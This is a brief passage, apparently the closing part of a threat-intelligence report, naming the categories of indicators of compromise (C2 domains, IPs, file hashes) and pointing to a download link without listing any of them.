	Visual Basic			Msixexec					

Indicators of Compromise (IOCs)

The full set of IOCs including C2 Domains, IP addresses, Docx files SHA-1 hashes, Docx files SHA-256 hashes, Msi files SHA-1 hashes, Msi files SHA-256 hashes, Binary files SHA-1 hashes, Binary files SHA-256 hashes, Archived files SHA-1 hashes, Archived files SHA256 hashes, Ini files SHA-1 hashes, Ini files SHA-256 hashes, Scripts SHA-1 hashes, Scripts SHA256 hashes, DLLs SHA-1 hashes, DLLs SHA256 hashes are [AVAILABLE FOR DOWNLOAD HERE](#).

